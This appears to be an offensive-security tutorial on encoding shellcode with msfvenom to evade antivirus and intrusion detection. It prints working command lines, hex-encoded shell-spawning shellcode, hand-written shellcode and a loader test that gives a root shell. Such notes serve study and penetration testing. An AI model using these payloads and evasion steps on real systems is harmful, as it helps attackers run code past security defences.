ENCODING

Msfvenom has the ability to encode shellcode, which is one of its key advantages—eliminating the need to manually write custom encoders. Encoding is useful for attempting to evade security mechanisms like antivirus (AV) or intrusion detection systems (IDS) by obfuscating the shellcode’s byte patterns. However, commonly used encoders, such as x86/shikata_ga_nai, are well-known and often easily detected by modern security tools due to signature-based detection or behavioral analysis. As a result, while encoding can help bypass basic defenses, it is not a guaranteed evasion technique against up-to-date or heuristic-based protection systems.

LISTING ENCODERS

root@oco:~$ msfvenom -l encoders
 Framework Encoders [--encoder <value>]
 ======================================
    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder

 <SNIP>

ENCODING SHELLCODES

root@oco:~$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor'
 Found 1 compatible encoders
 Attempting to encode payload with 1 iterations of x64/xor
 x64/xor succeeded with size 87 (iteration=0)
 x64/xor chosen with final size 87
 Payload size: 87 bytes
 Final size of hex file: 174 bytes
 4831c94881e9faffffff488d05efffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7361f51d3e9a19ed99414e61147a90aac74a4e32147a9190022a4e325c801fc2bc7e06bbbafc72c2ea294e325c
 
 * the -p option specifies the payload/shellcode to use
    - the payload defines the actions to perform in the target system
       - e.g., open as shell, reverse shell, bind shell, run a cmd, etc
 * the -a option specifies the architecture
    - this sets the CPU architecture of the target system
       - if the architecture doesn't match the target system, the shellcode may crash
         or not run at all
 * the --platform option specifies the OS
    - e.g., Linux, Windows, Android, etc
 * the -f option specifies the output format of the generated shellcode/payload
    - common formats:
       - hex: raw hexadecimal string
          - the hex string format is useful for embedding in scripts or analyzing
       - c: shellcode in C-style byte array
       - elf: linux binary
       - exe: windows executable
       - raw: raw binary
 * the -e option specifies the encoder to use
    - it applies an encoder to obfuscate the shellcode
    - this is used to bypass AVs or security tools that detect KNOWN shellcode patterns.
      encoding makes the payload look different at the byte level while maintaining
      functionality.
       - common encoders such as x64/xor aren't stealthy anymore as modern AVs can
         often detect them
         
 * encoding payloads/shellcodes always produce a larger size output since encoding a 
   adds a built-in decoder for runtime decoding

TESTING: RUNNING ENCODED SHELLCODES

root@oco:$ python3 loader.py 
 '4831c94881e9faffffff488d05efffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7361f51d3e9a19ed99414e61147a90aac74a4e32147a9190022a4e325c801fc2bc7e06bbbafc72c2ea294e325c'
 $ whoami
   root

ENCODING SHELLCODES MULTIPLE TIMES

root@oco:~$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' -i 2 

 * the -i specifies the number of iterations for encoding
    - while encoding the payload multiple times can help evade detection by certain 
      security mechanisms, each encoding iteration increases the size of the payload. 
      this is because the encoder adds additional instructions to decode the payload at 
      runtime. as a result, the more iterations is specified with the -i flag, the 
      larger the final payload becomes.
       - this increase in size can be problematic in scenarios where payload size is 
         constrained, such as buffer overflow exploits with limited space. therefore, 
         you should balance the need for encoding with the size limitations of your 
         target environment.

ENCODING MANUALLY WRITTEN SHELLCODES

This requires writing the manually created shellcode's bytes to a file and then passing it to msfvenom with "-p -"

root@oco:~$ python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05'))" > shell.bin
root@oco:~$ msfvenom -p - -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' < shell.bin
 Attempting to read payload from STDIN...
 Found 1 compatible encoders
 Attempting to encode payload with 1 iterations of x64/xor
 x64/xor succeeded with size 71 (iteration=0)
 x64/xor chosen with final size 71
 Payload size: 71 bytes
 Final size of hex file: 142 bytes
 4831c94881e9fcffffff488d05efffffff48bb5a63e4e17d0bac1348315827482df8ffffffe2f4ea58acd0af59e4ac75018d8f5224df7b0d2b6d062f5ce49abc6ce1e17d0bac13
 
 * the -p flag in "-p -" specifies the payload to use. 
    - when the "-" in "-p -" is used as the payload, it tells msfvenom to read the 
      raw shellcode from standard input (stdin). 
       - this is useful when you already have a custom shellcode (e.g., in a file like 
         shell.bin) and want to process or encode it using msfvenom.